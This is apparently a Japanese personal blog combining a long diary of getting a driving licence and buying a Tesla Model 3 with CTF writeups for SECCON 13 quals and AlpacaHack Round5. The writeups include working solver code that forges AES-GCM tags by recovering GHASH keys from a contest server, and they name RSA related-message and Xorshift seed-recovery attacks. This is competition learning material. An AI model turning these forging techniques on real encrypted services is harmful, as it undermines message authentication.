免許を取得し、車を買いました

(この記事は3/15に書かれました)

これを書いた動機

私がテスラを選んだ理由(購入までの経緯編)|ルン という先駆者様が書いたプログを見て、自分のドッペルゲンガーみたいな意思決定だったことに感銘を受けたので記録として書きました。

あとは他にも自分の大きな買い物の意思決定の備忘録として役立てる予定もあります。

先に結論

写真のテスラ モデル3 ロングレンジAWD(ハイランド)を買いました。注文は2月の半ばで、納車は1ヶ月弱経ったあとの3月15日でした。 マンションの駐車場に充電器は無く、5年間スーパーチャージャー無料なのでスーパーチャージャー運用をしていきます。

主な選定理由は十分な衝突・予防安全性評価を備えており+街乗りにおける快適な走行性を持つ車の中で最も納期が早かったからです。 そして何より自身に属性の似ている友人が数年間乗っており継続して満足していたことです。

免許を取った背景と動機

元々自分が注意力散漫な特性を保っている人間であるのは周知の事実なのですが、それ故に人を殺したくないし殺されたくもないというという理由から都心の比較的アクセスの良い場所に住み続けてきました。また、仮に車が必要な場合もタクシーをスポット利用の車とみなすことで十分便利さを損なわない運用ができると信じていました。したがって一生免許を取ることはないだろうと思っていたのですが、赤ちゃんが生まれて雨の日の23区の中心でタクシーが1時間近く掴まらなかった体験からこの考えが破綻していることに気づきました。いくつか思ったことは以下の通りです。

  • タクシーを使いたいときに使えるとは限らない
  • 法律が許しているとはいえ、通常のタクシーにチャイルドシートが備え付けられておらず、安全面での懸念がある
  • 子供と行動する上で自家用車という手段がプライベート空間を提供する点・小回りが効く点で優れている

ということで育児休業中の半年の間に妻に不満を抱かれつつも将来的に家族がトータルで幸せになれると信じて頑張って免許を取ろうと思いたち、赤ちゃんが生まれて1.5ヶ月後くらいからちょいちょい教習所に通い始めました。結局途中子育てが大変になったり時間が空いたせいか公道に出るのが怖くなって数ヶ月放置したせいで、教習所に入ったのが5月で免許を取ったのが11月末という結果になってしまいましたがなんとか取ることができました。

カーシェアデビュー

免許を取り終え、初めての公道デビューをしました。タイムズカーシェアを利用させていただきました。万が一のことを考えて45分の運転のために500円くらいの補償をフルにつけてレンタルしました。 なんとか近所をぐるぐる回ってさあ駐車しようとしたところ、道路に面した駐車場だったのですが初めてのバック駐車が思うようにうまく行かず、道を塞ぎまくっていました。 なんとかいい感じで止めれそう...と安心したところで、駐車スペースの目の前にある電柱で車の右手前のバンパーを擦ってしまい、カーシェアを借りる時間の最後で警察とタイムズカーシェアのスタッフにお世話になってしまいました(※カーシェアなのでちょっと擦っただけだとしても物損事故の公式記録を残す必要があり、警察を呼ぶことが必須)。道行くヤンチャそうな若者の集団に下手くそな駐車を笑われながら事故対応するのは少し恥ずかしいやらなんやらでしたが、頑張って平常心を保ちました。

ちなみに余談ですが、擦ったことに加えて悪行を行っています。その駐車場には車止めがなぜか2列(4つ)あり、駐車場だから車をロックするために1つは乗り越えていいものなのかな?と思ってわざわざグッと乗り越えたんですが、結果として後輪がすっぽりとハマってしまいました。警察の方によると「恐らく単純に後から追加して設置しただけで2つ車止めが並んでいるだけです」とのことでした。車に傷をつけた上に動かせなくなるし、何もかもカーシェア会社に迷惑をかけて終わりましたが、先述のすべてが免除されるタイプの保険プランに入っていたので事故対応中の延長料金を払った以外の特段追加の支払いはありませんでした。

はじめての運転で警察のお世話になれたのはある意味経験値としてはよかったかなと思いますが、初めての運転は助手席に人を乗せたほうがいいかなと思いました。

カーシェアに乗りまくる

警察にお世話になったことがトラウマでしばらく運転してなかったのですが、諦めてはいけないということで今年に入って再開しました。

妻がオフィス勤務を好んでいるので、妻を送る名目で毎日車の運転をしていました。 最初は東京の交差点の複雑さに怯えていましたが、数回も乗れば右折や路肩に止まるコツがつかめてきました。 10~20回くらい乗ったら車線変更のコツもよくわかってきました(ちなみに首都高も3月に頑張ってデビューしました。情報処理が忙しいですね。)

ちなみに車種はNOTE e-POWERです。これが結構良い車で、最初はEcoモードというワンペダル走行モードをオンにした状態で走行しており、それは個人的な体験としてはかなり悪かったのですが、オフにすることができることを知ってからかなり運転のし心地が改善し、e-POWERの大ファンになりました。

車を探しはじめる

カーシェアの車に乗って、確かに教習所の車には無い衝突予知センサー・運転支援・カーナビなどに感動したものの、やはり価格帯もあって予防安全性はあっても衝突安全性(ボディの丈夫さ)はそんなに無いということで、安全な車に乗りたいなと強く思うようになりました。もともと免許取ろうとしたときから自分がポンコツな分自他を守るために安全性の高い車に乗りたいとは漠然と思っていたので、それを改めて強く感じた形になります。

知り合いに指標として良いと言われたEURO NCAPJNCAPを参考に車を探し始めることになります。 そうすると、やはり国産車の中ではスバルの安全性評価(レヴォーグ、クロストレック)が群を抜いて高いことがわかります。探し始めの時点では絶対レヴォーグ買うぞという気持ちが自分・妻ともにすごかったです。

都会で車を持つというのは少しの利便性を多額の金で買う道楽くらいの認識なのでコスパとか考えるのは野暮ということで(あと車の相場がわからないので)、新車価格300~800万くらいで良さそうな車があれば嬉しいなくらいの気持ちで探し始めます。

まずはスバルのディーラーに行き、レヴォーグとクロストレックS:HEVに乗せてもらいました。正直はじめて乗る車だったので「ややクロストレックのほうが乗り心地良かった気がする...」と思いつつ、どちらも乗り心地が良いな〜という結論で終わって、クロストレックのトランクは小さいのでレヴォーグ買うぞ〜という気持ちに一旦なりました。このときは見積もりしませんでした。

しかし同じく安全性が高いという前評判のVolvo (ただし近年安全性評価の首位が陥落している?)も一旦検討しようという話になったので、Volvoに行きました。確かにこの車の中にいれば死ななさそうという安心感はすごかったのですが、いまいちビビッと来ませんでした。ところで、このときEX30という電気自動車に乗らせてもらった(僕はEVの走行体験が好きみたいで、僕的には走行体験が良かった)のですが、自宅に充電設備がないと伝えるとディーラーさんに購入はおすすめしないと言われ、このときはじめてEVのインフラの不便さについて知りました。ちなみにウインカーレバーが外車は反対なので、いっぱいワイパー動かしました。

レヴォーグかなあ...と思って色々調べていると、スバルの従来顧客にはスバルらしくないと前評判なものの車高の高さで走行安定性を向上させたレヴォーグ・レイバックなるモデルがあることを知ります。

スバル2回目の試乗・そして自分の好みを知る

そこで再びスバルのディーラーに行き2回目の試乗させていただきました。初心者の車解像度では短時間の街の走行ではあまり違いがわからなかったのですが、たしかにレイバックは少し安定している感じがしました。 見積もりもとってもらいましたが車両価格が400万前後、まともそうなオプション全乗せで500万くらいでした。

しかし2回目の試乗で、ほとんど車を運転したことがなかった1回目のときは気にならなかった、「アクセルを踏んだときに急発進気味になってしまう違和感」に気づきました。その違和感の原因を探っているとエンジン車はアクセルを踏んでから実際の加速が発生するまでに少しディレイがあり、これはいつも乗ってるカーシェアの車にはないことに気づきます。一方ハイブリッド車は電気モーターを活用している都合で全然加速体験になっていたのです!慣れの問題なのかもしれませんが電気モーターだと自分の直感に合った加速を行えることに気づきました。

そこでやっぱり電気自動車の走りが好きなんじゃないかという好みを認知し、公式の試乗は免許を取得して1年以上という条件があるため、充電インフラ事情やEVの悪評、少し駐車場に入らないなど様々な事情であんまり期待していなかったものの、友人に頼んでテスラのモデル3に試乗させてもらうことにします。

テスラの試乗

Paypayの1日自動車保険はフルフルにかけました。確かに電気自動車の加速は体験として良かったです。e-powerのECOモードくんのせいでワンペダル走行に強い抵抗感がありましたが、電気自動車のワンペダルはすぐに慣れて、慣れるとちゃんと急ブレーキ以外は本当にワンペダルで、意義を感じました。これはVolvo EX-30のときも実感すべきだったのかもしれませんが2回目のEV試乗で気づいた形ですね。 

体験はかなり良かったです。ただインフラに関して質問したときの友人の「スーパーチャージャー運用いけるよ」という言葉が信じきれず、また結構車幅もでかいためどうせ駐車場には入らないだろうなあということで候補から外れかけます。

スバル車3回目の試乗、ストロンングハイブリッドに期待する

安全性が非常に高く、他のバランスの良さでスバルが良いのだけど、スバル車はガソリンで求める走行体験にならない...ということですごく悩みます。 が、本当につい最近スバルがクロストレックのS:HEVを出していたことを思い出し、試乗させてもらうことにします。実に3回目の試乗。実は1回目で乗っていたんですがその時はS:HEVの走り心地の良さがストロングハイブリッド由来であることに気づいていませんでした。 乗ってみて「確かにこれは良い!!!」となりました。マイルドハイブリッドのモデルにも乗せてもらいましたがやはりストロングハイブリッドのモデルのほうが快適でした。

本当はトランクが広いことを考えるとレイバックのS:HEVモデルがあればなあ...と思ったのですが、あまり近いうちには出なさそうです。

クロストレックのS:HEVモデルは安全性高くて車高が高く視界もよく、ハイブリッドの走行体験の良さもあり、理想の車なのではないか...くらいまでに来ていたのですが、

見積もりを取って大体500万円くらいだったのですが、納期が2ヶ月のところ4ヶ月らしく、せっかちな自分はさすがに待ちきれないということですごく悩みます。

納期を解決するだけなら中古車を買えば良いのですが、残念ながら出回って間もないため、中古車も全く出回っていない状況で、苦境に立たされます。

トヨタの中で丈夫な車を探す

「そもそもS:HEVモデルが好きならトヨタハイブリッド車とかでも良いのでは?トヨタの車で衝突安全性が高い車を試せば良いのでは?」と自問自答した結果JNCAPの衝突安全性評価がトヨタの中でも高めのクラウンを検討することに。そんなこんなで最寄りの販売店でクラウンクロスオーバーの試乗をさせてもらう。確かにハイブリッドの運転し心地は求めていたものでした。あと同乗した妻によると今まで乗った車の中だと後部座席の快適さがダンチだったとのこと。クラウンってそういうイメージがあります。

割といいなあと思い、検討しはじめました。特に中古市場の価格が諸事情で安くなっており、別に自分たちがそんなに気にしないならオトクじゃんとなり前のめりになります。

クラウンが駐車場に入らないことに気づく

車幅制限の1850mmはクリアしたものの、タイヤ外幅がそれより結構小さくないといけなくて、クラウンは1840とかなので普通に駄目と言われました。

テスラについて真剣に調べる

クロストレック S:HEV・クラウンクロスオーバー・テスラモデル3の3つが候補として残っていたが、クロストレックとクラウンがノックアウトされてしまいました。 頼みの綱がなぜかテスラだけになってしまい途方にくれます。

自動運転絡みで何かと死亡事故が話題になるテスラだが、テスラモデル3の安全性(特に衝突安全性)は正直かなり高めであることはEURO NCAPの結果を通じて知っていたので、再び検討しました。 2019年のテスト以降どういった改悪がなされているかはわからないがソフトウェア的な改悪が理由であれば他のモデルも評価が下がっているはずなので、そこは別のモデル(モデルY)の結果を信じることにしました。

価格についても調べてみる。普通のモデルが530万くらいでロングレンジモデルが630万くらいっぽい。ここに補助金が乗っかって実質の負担はまた、このときEV補助金について調べて国と東京で合わせて130万くらい補助金が出ることを知ってびっくりしました。 当然4年所有しない場合は一部(または全部?)返還を求められるらしいですが、これは妥当だと思います。

EVがエコカーの枠組みで語られることに懐疑的な立場ではあるのでEVにここまで補助金出したがっている理由はよくわからないが、個人的信条はともかくとしてここまで安くなるのであればちょっと買いたいなという気持ちが芽生えました

最新のモデル3はウインカーレバーが消失してボタン式になっており、購入やめようかと思うくらいドン引きしましたが、冷静になると初心者だから他の車に慣れる前なので適応できるかもしれないという希望を持ちます。

最後、結局妻に、「スバルの車やクラウンは今後歳を取ってもいつか乗る機会が来るかもしれないが、テスラは今を逃したら一生乗る気も起きない可能性が高いという意味でユニークな車かもしれない。体験を買おう。」と言われ、これが決め手になりました。理性的な判断とは程遠いですが、「まあ確かに安い買い物ではないが、そこそこの出費で未知の体験が買えるんだとしたら悪くないか...子供生まれてから金と時間投じれる娯楽も少ないし」みたいな感じで感化されました。

タイヤ外幅の公称が無いので、駐車場に入るかは未知だった。販売店に電話で試し入れをお願いしたところ、すぐ来て試してくれるとのことでフットワークが軽く印象が良かった。 これが駄目なら運命だと思って諦めてクロストレックにしよう...と思って祈りながら試し入れまでの数日を過ごしていた。

テスラの試し入れ

18インチホイールのものがギリギリ入った!!!!!!!!テンション爆上がり。翌日に試乗して、特に困ることがなければ購入することを決意しました。

また、先述の親しい友人以外にもテスラ所有者だった方に相談したりして、スーパーチャージャー運用がどれくらい現実的かや、不便なことはどんなことがあったか、保険どうしたらいいかみたいなのを色々相談しました。

試乗に関して、本来免許取得して2年以上でないといけないということだったが、購入に意思がかなり強かったこともあり相談してみたところ条件つきで自分のケースは特別に許可してもらえました。これに関しては個別対応だったと思うので鵜呑みにはせず、興味のある方はテスラの販売店に相談してみてください。

テスラの購入体験

ここがおもしろポイントで、アマゾンで電化製品買うくらいのノリで購入手続きが決まりました。 車の中でディーラーさんの指示のもと自身のスマホポチポチして650万の買い物が完了しました。接客体験はアップルストアみたいな感じでしたね。テスラ大好きスタッフにラフな感じで対応してもらうみたいな。

お金周り

車両代等合計支払い額: 655万

補助金(東京都): -45万

補助金(国): -85万

実質負担: 525万

他: スーパーチャージャー5年間無料特典つき, 補助金は4年保有しないとペナルティ

支払い方法は2つ検討しました。

  • テスラが公式で案内しているオリコの分割払い(金利2.4%, 10年)

    • メリット: 楽
    • デメリット: 安いカーローンよりは高い
  • ちばぎんのカーローン(EV車、金利1.7%, 10年)

    • メリット: 安い
    • デメリット: 書類仕事がだるい

最初はオリコで話を進めていたのですが、納車までの期間でカーローン契約できそうだったので少し手間はかかるけれどもちょっと書類仕事をするだけで総返済額が26万くらい変わるのでまあ少し手を動かす価値はあるかと思い手を動かしてちばぎんのカーローンにした。納車まで一ヶ月もないので結局かなり急ぎ目で審査通してもらいました。

保険周り

InsureMyTeslaというテスラ経由で申し込むとSBI損保でも(テスラにおいては必須とされる?)新車特約つきの保険に入れたのでそれにしました。

コーティング

公式が案内してるやつじゃなくて知り合いからオススメされたEXキーパーコーティングをキーパーラボ有明店でやってもらいました。株主優待券(入手方法はググると良いです)を使って20%引で18万円代だったと思います。納車直後にお願いしました。丸一日かかりました。

テスラの購入の理由まとめと乗ってから自分で体感したいこと

テスラの良いところ
  • 三者機関による高い衝突安全性・予防安全性の評価(加えて過去に発生した不正疑惑が否定されていること)
  • スーパーチャージャーというインフラが生活圏内にたくさんあること
  • 電気モーターの走り心地
  • スーパーチャージャーが5年間無料なこと
  • 死角を補うソフトウェアカメラがあちこちについていること
テスラでちょっと気になること
  • テスラのEV電池火災はガソリン車と比べてはるかに頻度は低いものの実際起きたときにやばいと聞いたこと
  • 欲しかったホワイトが最近標準色じゃなくなり、20万円課金しないと手に入らなくなった
  • 某CEOが最近一層暴れていること
  • あまりにも会社が逆風に立たされていて日本市場での向こう数年の動向が読めないこと(e.g. スーパーチャージャー完全に撤退します!とかがあったらかなり終わる)
    • 日本は大丈夫だと思いますが、テスラの所有そのものが様々な強い思想に結びついてると思われそうなこと(別に仮にそう勘違いされたら何なんだという話ではあるので気にしてないのですが、一応妻子と同行することが多いので現実世界で絡まれたら困るかもしれない)
乗ってから自分で知りたいこと:
  • テスラのミニマリスト的なデザイン思想の実用性 ウインカーレバー・シフトレバーレスはどのくらいまともな思想なのか

  • 車の予防安全性の実力; カメラオンリーのセンサーでどこまでまともな事故回避を行うことができるのか

  • 充電周りの利便性; マンション充電設備なし・スーパーチャージャー運用が実際に自分たちのライフスタイルにどれくらい適しているのか

  • EVの利点欠点; ガソリン車と比べて電気自動車にどういう弱みがあるのか

  • 修理費; テスラは修理費が高いことで有名ですが、どれくらい修理費の恐怖に怯える必要があるのか

  • どんな家族構成に適すのか; (仮に)第二子が生まれたとして子供2人 + 大人2人でどのくらい耐えれるのか。

  • 長距離移動の実現可能性; 実際の航続距離とEV特有の長距離移動の制限がどのくらいシビアか

実はあんまり興味ないこと
  • 高度な自動運転性能

余談: ベンツ

一瞬、マンションの駐車場に入る車の大きさの中では唯一7人乗りのベンツのGLB, EQBに興味を持ったんですが(理由:ベンツも丈夫なので)、この大きさの車で7人乗りは居住性に正直かなり無理があるということ、3列目の後部座席に対する安全性評価は適切になされてないことを鑑みると、無理をしてはいけないと思い試乗すら断念(本当はしたかったんだけど都合がつかず...)。

謝辞

スバルの営業さんには大変お世話になりました。あとXのTLのスバリストの皆さんには大変お世話になりました。 このような結果になってしまって申し訳ないですがいつかレヴォーグレイバックS:HEVを楽しみにしています。

何ヶ月かテスラ運転して思ったことがあればシェアします。

SECCON 13 予選 Writeup 兼参加記 FCCPC

感想

FCCPC 国内13位(全体40位)

途中までいい感じだったんですけど僕がdual_summonでドハマりしたので失速しました(数弱)

赤ちゃんの世話しながらだったんですが、割と本戦に行きたかったので本格的にベビーシッター雇ったり、少し妻に多めに赤ちゃんの世話をさせてしまったり、いい年して24時間連続で起きていましたが普通に敗退したのでなんか俺何してんだろ...感すごいです。来年はちゃんと寝て本戦いきます。

実はSECCONに出るメンバーがそんなに集まっていなくて、ブーブーの本戦でお会いしたkusanoさんにダメ元で声をかけさせていただいたところいいよ!とのことだったので一緒に参加させてもらいました。

以下 Writeup

packed

UPX適用するやつね〜と適用したらカスのバイナリが現れ、わかんないからkusanoさんにお願いしたらUPXは罠だったらしい。ええ〜

reiwa_rot13

eが小さいから普通に累乗根求めるやつだと思って、チームメイトにsagemathのコード(ただし法が素数のときだけ動く)を投げ、迷惑をかける。 法が素数じゃなかったら普通にeはそんな小さくないね..となる。 rot13だけど、文字毎に折り返しが起きてるか、つまり桁ごとに+13するか-13を決める。みたいなことをすると、「xe%nと(x+a)e%nからxを求める」みたいな問題になるねという話をチームメイトとする。

RSAの一般的なテクはインターネットによくまとめられているので、一つ一つ使えそうなやつはないか精査していく。

Franklin-Reiter Related Message Attack とかいうやつがまさにそれじゃんとなり、実行するとdnjqygbmorがキーであることがわかったので、あとはチームメイトにフラグ復元してもらう。

https://project-euphoria.dev/blog/27-rsa-attacks/#franklin-reiter-related-message-attack

flag: SECCON{Vim_has_a_command_to_do_rot13.g?is_possible_to_do_so!!}

Jump

ARMいやすぎ〜。心を無にしてClaudeに逆アセンブリ結果をぶんなげ、すべてを解かせる。一回もgdbを実行することなくフラグをゲット。こんなんでいいのか?

flag: SECCON{5h4k3_1t_up_5h-5h-5h5hk3}

drive.google.com

dual_summon

簡単枠なのに全然わからないとチームで話題に。皆さんが少し考察を進めるもののあまり進捗はなさそうなので、自分も取り組んで見ることに(コンテスト開始から7時間後くらいのこと)。結果としてそこから12時間以上ハマることになりました。

そもそもガロア体ってなんだよ。

まず全然わからないのだけれどチームメイトがこれ関連だろうな〜ということでほん怖AES-GCMという記事を共有してくれた。

jovi0608.hatenablog.com

Wikipediaを読んでも細かいところの処理が全然わからないのでpycryptodomeの実装を読みまくることに。

コメントに出てくる色々もよくわからないので

https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-38d.pdf

も読むことに。上記PDFは死ぬほど読みやすく、細かいところもしっかり把握できるようになっていて仕様書って最高となる。

とりあえずタグの計算を平文Mを含む数式に落とし込むことができたので、あとは色々頑張って内部のキーとかを特定してごにょごにょすることに。

紆余曲折、徹夜でふやけた頭にはきついバグで数時間溶かすなど、いろいろあり、コンテスト開始から22時間経ったくらいに

SECCON{Congratulation!_you are_master_of_summonor!_you_can_summon_2_monsters_in_one_turn}

コード(Sage)

import socket
import secrets
from Crypto.Cipher import AES
import time


class SummoningAPI:
    def __init__(self, host=None, port=None):
        if host and port:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.connect((host, port))
            self.sock_file = self.sock.makefile('rwb', buffering=0)
        else:
            # ローカルテスト用
            self.keys = [secrets.token_bytes(16) for _ in range(2)]
            self.nonce = secrets.token_bytes(16)

    def recv_until(self, delim=b'>'):
        """
        delimまでの文字列を受信する
        """
        if not hasattr(self, 'sock'):
            return b''

        data = b''
        while not data.endswith(delim):
            data += self.sock_file.read(1)
        return data

    def summon(self, number, plaintext):
        """
        Args:
            number (int): 1 or 2 (key number)
            plaintext (bytes): 16 bytes data
        Returns:
            tuple: (ciphertext, tag)
        """
        if hasattr(self, 'sock'):
            # リモート接続時
            self.recv_until(b'>')
            self.sock_file.write(b'1\n')

            self.recv_until(b'>')
            self.sock_file.write(f"{number}\n".encode())

            self.recv_until(b'>')
            self.sock_file.write(plaintext.hex().encode() + b'\n')

            # monster nameの行をスキップ
            while b'tag(hex)' not in (line := self.sock_file.readline()):
                continue

            # tag値を取得
            tag_hex = line.decode().split('=')[1].strip()
            tag = bytes.fromhex(tag_hex)

            return None, tag
        else:
            # ローカルテスト時
            aes = AES.new(key=self.keys[number - 1], mode=AES.MODE_GCM, nonce=self.nonce)
            x, y = aes.encrypt_and_digest(plaintext)
            print(x, y)
            return x, y

    def dual_summon(self, plaintext):
        """
        Args:
            plaintext (bytes): 16 bytes data that should produce same tag with both keys
        """
        if hasattr(self, 'sock'):
            self.recv_until(b'>')
            self.sock_file.write(b'2\n')

            self.recv_until(b'>')
            self.sock_file.write(plaintext.hex().encode() + b'\n')

            # フラグを含む応答を読む
            response = self.sock_file.readline().decode()
            if "master of summoner" in response:
                flag = self.sock_file.readline().decode().strip()
                print("Flag:", flag)
                return flag
        else:
            aes1 = AES.new(key=self.keys[0], mode=AES.MODE_GCM, nonce=self.nonce)
            aes2 = AES.new(key=self.keys[1], mode=AES.MODE_GCM, nonce=self.nonce)
            ct1, tag1 = aes1.encrypt_and_digest(plaintext)
            ct2, tag2 = aes2.encrypt_and_digest(plaintext)
            assert tag1 == tag2
            print("Congrats")

    def close(self):
        if hasattr(self, 'sock'):
            self.sock.close()


def exploit(api):
    """
    GCMのtagが衝突する入力を総当たりで探す
    """
    try:
        # ランダムな16バイトの入力を生成して試行
        start_time = time.time()
        attempts = 0

        for _ in range(2 ** 16):  # 適当な試行回数
            attempts += 1
            if attempts % 100 == 0:
                elapsed = time.time() - start_time
                print(f"Attempts: {attempts}, Time elapsed: {elapsed:.2f}s")

            test_input = secrets.token_bytes(16)
            _, tag1 = api.summon(1, test_input)
            _, tag2 = api.summon(2, test_input)

            if tag1 == tag2:
                print(f"Found collision after {attempts} attempts!")
                print(f"Input (hex): {test_input.hex()}")
                print(f"Tag (hex): {tag1.hex()}")
                return api.dual_summon(test_input)

    except Exception as e:
        print(f"Error occurred: {e}")
    finally:
        api.close()

    return False


def exploit(api):
    """
    GCMのtagが衝突する入力を総当たりで探す
    """
    # ランダムな16バイトの入力を生成して試行
    for _ in range(2 ** 16):  # 適当な試行回数
        test_input = secrets.token_bytes(16)
        _, tag1 = api.summon(1, test_input)
        _, tag2 = api.summon(2, test_input)

        if tag1 == tag2:
            print(f"Found collision! Input: {test_input.hex()}")
            api.dual_summon(test_input)
            return True
    return False


# SageMath
# Define GF(2^128) with the GCM reduction polynomial
from Crypto.Util.strxor import strxor

X = GF(2).polynomial_ring().gen()
poly = X ** 128 + X ** 7 + X ** 2 + X ** 1 + 1
F.<a> = GF(2 ** 128, name='a', modulus=poly)
R.<H, E, Q, E_2, H_2, W_2, Q_2, M> = PolynomialRing(F)


def to_F(n):
    """Convert integer to field element"""
    return F([int(b) for b in format(n, '0128b')])


def from_F(fe):
    """Convert field element to integer"""
    return int(''.join(['1' if b else '0' for b in (list(fe.polynomial()) + [0] * 128)[:128]]), 2)


def solve_for_x(tag1_0, tag2_0, tag1_1, tag2_1):
    """
    Solve for x given tags for PLAINTEXT=0 and PLAINTEXT=1
    Arguments should be integers representing the 128-bit values
    """
    # Convert all inputs to field elements
    tag1_0 = to_F(tag1_0)
    tag2_0 = to_F(tag2_0)
    tag1_1 = to_F(tag1_1)
    tag2_1 = to_F(tag2_1)

    # Using the fact that PLAINTEXT is either 0 or 1, we can try linear combinations
    # plaintext_x = α•0 + β•1 where α,β ∈ GF(2)

    # Due to AES-GCM's linearity in GF(2^128), if plaintext_x is a linear combination,
    # the corresponding tag will be the same linear combination of the tags

    for alpha_int in range(2):
        for beta_int in range(2):
            alpha = F(alpha_int)
            beta = F(beta_int)

            # Calculate expected tags for this combination
            tag1_x = alpha * tag1_0 + beta * tag1_1
            tag2_x = alpha * tag2_0 + beta * tag2_1
            if tag1_x == tag2_x:
                print(tag1_x)
                # Found a collision!
                # The plaintext will be the same linear combination of 0 and 1
                plaintext = beta_int  # since alpha•0 + beta•1 = beta•1 = beta
                return plaintext, from_F(tag1_x)

    return None, None


# Example usage:
"""
# Convert your tag values to integers first
tag1_0 = bytes_to_int(tag1_0_bytes)
tag2_0 = bytes_to_int(tag2_0_bytes)
tag1_1 = bytes_to_int(tag1_1_bytes)
tag2_1 = bytes_to_int(tag2_1_bytes)

plaintext, tag = solve_for_x(tag1_0, tag2_0, tag1_1, tag2_1)
if plaintext is not None:
    print(f"Found solution: plaintext = {plaintext}")
    print(f"Tag = {hex(tag)}")
"""

from Crypto.Cipher import AES
import secrets
import signal

from Crypto.Util.number import bytes_to_long, long_to_bytes

signal.alarm(300)

api = SummoningAPI(host="dual-summon.seccon.games", port=2222)

_, tag0_2 = api.summon(2, long_to_bytes(0, 16))
_, tag1_2 = api.summon(2, long_to_bytes(1, 16))
_, tag0 = api.summon(1, long_to_bytes(0, 16))
_, tag1 = api.summon(1, long_to_bytes(1, 16))
W = to_F(bytes_to_long(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80'))
T_0 = to_F(bytes_to_long(tag0))
T_1 = to_F(bytes_to_long(tag1))
T_0_2 = to_F(bytes_to_long(tag0_2))
T_1_2 = to_F(bytes_to_long(tag1_2))
M_0 = to_F(0)
M_1 = to_F(1)
M_2 = to_F(2)

def solve_H(f):
    # GF(2^128)上の多項式環を設定
    R.<a> = PolynomialRing(GF(2))
    # AES-GCMで使用される既約多項式
    modulus = a ^ 128 + a ^ 7 + a ^ 2 + a + 1
    # 有限体を構築
    F.<a> = GF(2 ^ 128, modulus=modulus)

    # 2次方程式の係数を設定
    # H^2の係数
    coeff_h2 = a ^ 127

    # Hの係数(この場合は0)
    coeff_h = 0

    # 定数項
    constant = f.constant_coefficient()

    # 2次方程式を解く
    # GF(2^n)では、x^2 + ax + b = 0 の解は
    # x = √(b/a^2) + √(b/a^2) * √(a^2/a) if a ≠ 0
    # この場合、H^2の係数が非ゼロで、Hの係数が0なので、
    # H = √(constant/coeff_h2)

    # 定数項を係数で割る
    ratio = constant / coeff_h2

    # 平方根を計算
    # GF(2^n)では、平方根は Frobenius 自己準同型を使用
    def sqrt_gf2n(x):
        # GF(2^n)では、平方根は x^(2^(n-1))
        n = F.degree()
        return x ^ (2 ^ (n - 1))

    solution = sqrt_gf2n(ratio)

    # GF(2)では、√x の解は ±√x だが、特性2の体では + と - が同じなので、解は1つ
    # 検証
    verification = solution ^ 2 * coeff_h2 + constant
    assert verification == 0
    return solution
F_0 = (M_0 + E) * H ^ 2 + W * H + Q - T_0
F_1 = (M_1 + E) * H ^ 2 + W * H + Q - T_1
F_0_2 = (M_0 + E) * H_2 ^ 2 + W * H_2 + Q_2 - T_0_2
F_1_2 = (M_1 + E) * H_2 ^ 2 + W * H_2 + Q_2 - T_1_2
H1 = solve_H(F_0 + F_1)
H2 = solve_H(F_0_2 + F_1_2)

COND1 = (M + E) * H ^ 2 + W * H + Q - ((M + E_2) * H_2 ^ 2 + W * H_2 + Q_2)
COND2 = (E) * H ^ 2 + W * H + Q - T_0 + ((E_2) * H_2 ^ 2 + W * H_2 + Q_2 - T_0_2)
M_formula = ((COND1 - COND2).subs({H: H1, H_2: H2}))

coef_M = M_formula.coefficient(M)  # Mの係数を取得
const_term = M_formula.constant_coefficient()  # 定数項を取得
print(const_term)
M_sol = (const_term / coef_M).constant_coefficient()
M_bytes = long_to_bytes(from_F(M_sol), 16)
print(api.dual_summon(M_bytes))

JavaScrypto

ホントぽにょごめん (参考:

SECCON CTF 13 Quals writeup

) 。まさかこれが決め手で落ちるとは

AlpacaHack Round5 Writeup

3時くらいに思い出し子をあやしながらXorshiftStreamの解法について考えていたが一問も解けず・・・

XorshiftStream (コンテスト終了後にAC)

64-bit Xorshift RNGが与えられる。パラメータ(13,7,17)。 keyの16進値アスキー文字列バイト列 と (flag ^ key) した文字列を結合したバイト列に対して8byte毎にxorした結果が与えられるので解読してください。

考えたこと - パラメータは(a,b,c)=(13, 7, 17)でなかなか周期的な欠点を突くのは難しそう。 - 'Alpaca{'が7文字なので1文字全探索すれば8バイトの完全なstateがわかり、それを軸に何か頑張れるかな...などを考えつつ、そもそもRNGの出力が生で1つも得られなさそうなので困っていた。 - Xorshiftってs->s'の遷移をs'->sに逆演算できるんだっけ...と考えてみたがあんまり良い方法を思いつかないし無理そう。

Xorshiftの出力列が得られている時にseedを復元する方法をググると以下の記事が出てくる。この記事では下位16bitの出力結果から復元しているよう

burion.net

何かしらの方法で出力列の全部でなくとも一部を見つける方法はないか?

と考えていたら、keyを16進値の"アスキー"(超重要)でバイト列にしていることに今更気づく(5:30)。アスキーなので8ビット目が常に0なことを考えれば、ここの値だけに着目して連立合同式を解けないかz3のライブラリについて調べてみる。

Claude

Claudeさんありがとう。詳しいことはさておきまあどうもそういうことは可能っぽいのでやってみる。

とりあえず64bit乱数列の8,16,24,32,40,48,56,64ビット目はそのままリークしているという条件で書いてみるがUnsat!と言われまくり、もしかしてより多くの情報が必要なんじゃないか?と焦りhexなら上位4ビットが0110になるのでは...と断定したコードを書くもまたUnsatと言われ撃沈。そのまま時間切れ

結局色々なミスをやらかしていた。

  • そもそも上位桁は0110(a~f)もしくは0011(0~9)になるというのが正しい
  • そもそも出力列を8バイトずつ区切ってbytes_to_longで出力していたがBig Endianなので逆になっちゃっている。int.from_bytes(*,'little')を使うべき

あとでTwitterで色々指摘され、ASCIIであることからわかるのは1バイトが"0x1xxxxx"であることだけなので(2bitわかる!)、結局「64bit乱数列の6,8,14,16,22,24,30,32,38,40,46,48,54,56,62,64ビット目がリークしている」という条件で書き上げればseed=13077903722997275345がわかり、あとは頑張って復元して

Alpaca{I'v3_n3v3r_seen_4_c1ient_51d3_CryptoWeb_ch4ll3ng3_0nce!}

となった。コード

import struct
from Crypto.Util.strxor import strxor
from z3 import z3, BitVecVal

class XorshiftStream:
    def __init__(self, key: int):
        self.state = key % 2 ** 64

    def _next(self):
        self.state = (self.state ^ (self.state << 13)) % 2 ** 64
        self.state = (self.state ^ (self.state >> 7)) % 2 ** 64
        self.state = (self.state ^ (self.state << 17)) % 2 ** 64
        return self.state

    def encrypt(self, data: bytes):
        ct = b""
        for i in range(0, len(data), 8):
            pt_block = data[i: i + 8]
            ct += (int.from_bytes(pt_block, "little") ^ self._next()).to_bytes(
                8, "little"
